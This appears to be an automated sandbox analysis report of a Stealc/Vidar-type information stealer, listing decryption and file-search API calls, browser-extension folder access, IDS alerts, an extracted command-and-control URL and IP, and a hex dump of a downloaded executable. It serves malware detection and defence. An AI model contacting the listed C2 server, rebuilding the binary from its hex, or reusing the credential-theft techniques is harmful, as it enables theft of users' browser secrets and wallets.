Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_004094A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	1_2_0040BF90
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6BFA6C80
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01054280 CreateFileW,GetLastError,GetFileSize,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,__allrem,ReadFile,CryptDecrypt,CloseHandle,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	2_2_01054280
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_010545A0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptDeriveKey,CryptDestroyHash,CryptReleaseContext,	2_2_010545A0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Unpacked PE file: 0.2.H6ohQMZygb.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Unpacked PE file: 1.2.u5e0.0.exe.400000.0.unpack

Source: H6ohQMZygb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr
Source:	Binary string: /_/obj/Release/Microsoft.ApplicationInsights/net46/Microsoft.ApplicationInsights.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.1.dr
Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveHUD\obj\Debug\PerceiveHUD.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Cleanup\obj\Release\Cleanup.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105684900.0000028F25130000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdbz9 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\release\WorkingDir\PrismLibraryBuild\PrismLibrary\Desktop\Prism\obj\Release\Microsoft.Practices.Prism.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Bootstrap\obj\Release\Bootstrap.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb\| source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 00000002.00000000.1770456148.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe, 00000002.00000002.1772861896.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe.0.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Telemetry\obj\Release\Telemetry.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155483058.0000028F3E780000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: y:C:\xinosa dulicados52\vogewaxupi\gixugajipak20\n.pdb source: H6ohQMZygb.exe, 00000000.00000003.1697147122.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000000.1693665108.000000000040F000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb^ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Downloader\obj\Release\Downloader.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105073523.0000028F250C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb@=Z= L=_CorDllMainmscoree.dll source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: EntitlementDefinitions.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_en-us\obj\Release\Locale_en-us.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105498900.0000028F25110000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\xinosa dulicados52\vogewaxupi\gixugajipak20\n.pdb source: H6ohQMZygb.exe, 00000000.00000003.1697147122.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000000.1693665108.000000000040F000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdbSHA256M$ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdbjD source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105142994.0000028F250D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ko-kr\obj\Release\Locale_ko-kr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdbF source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdbf source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb. source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_it-it\obj\Release\Locale_it-it.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105142994.0000028F250D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105376040.0000028F25100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb4 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105376040.0000028F25100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ja-jp\obj\Release\Locale_ja-jp.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: /_/obj/Release/TelemetryChannel/net452/Microsoft.AI.ServerTelemetryChannel.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4154999191.0000028F3E500000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4134808693.0000028F351DC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: SMCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveSDK\obj\Debug\PerceiveSDK.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdbR source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb source: u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.1.dr
Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\Perceive\obj\Debug\Perceive.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_zh-tw\obj\Release\Locale_zh-tw.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004015C0 LocalAlloc,FindFirstFileA,StrCmpCA,StrCmpCA,SetThreadLocale,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_004121F0

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856233 ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) 192.168.2.4:49730 -> 185.172.128.90:80
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49733 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49733 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.76:80 -> 192.168.2.4:49733
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49733 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.76:80 -> 192.168.2.4:49733

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.172.128.76/3cd2b41cbde8fc9c.php
Source: Malware configuration extractor	URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php

Yara detected Generic Downloader

Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 23 Apr 2024 07:38:00 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Tue, 23 Apr 2024 07:30:02 GMTETag: "52200-616be85ac7fe9"Accept-Ranges: bytesContent-Length: 336384Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 05 86 02 15 41 e7 6c 46 41 e7 6c 46 41 e7 6c 46 4c b5 b3 46 59 e7 6c 46 4c b5 8c 46 39 e7 6c 46 4c b5 8d 46 6d e7 6c 46 48 9f ff 46 46 e7 6c 46 41 e7 6d 46 2f e7 6c 46 f4 79 89 46 40 e7 6c 46 4c b5 b7 46 40 e7 6c 46 f4 79 b2 46 40 e7 6c 46 52 69 63 68 41 e7 6c 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 82 38 12 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 de 00 00 00 66 c3 03 00 00 00 00 45 39 00 00 00 10 00 00 00 f0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 c4 03 00 04 00 00 b8 67 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 51 01 00 50 00 00 00 00 30 c2 03 d0 1d 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 47 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e3 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 20 6b 00 00 00 f0 00 00 00 6c 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 c6 c0 03 00 60 01 00 00 b6 01 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 1d 02 00 00 30 c2 03 00 1e 02 00 00 04 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 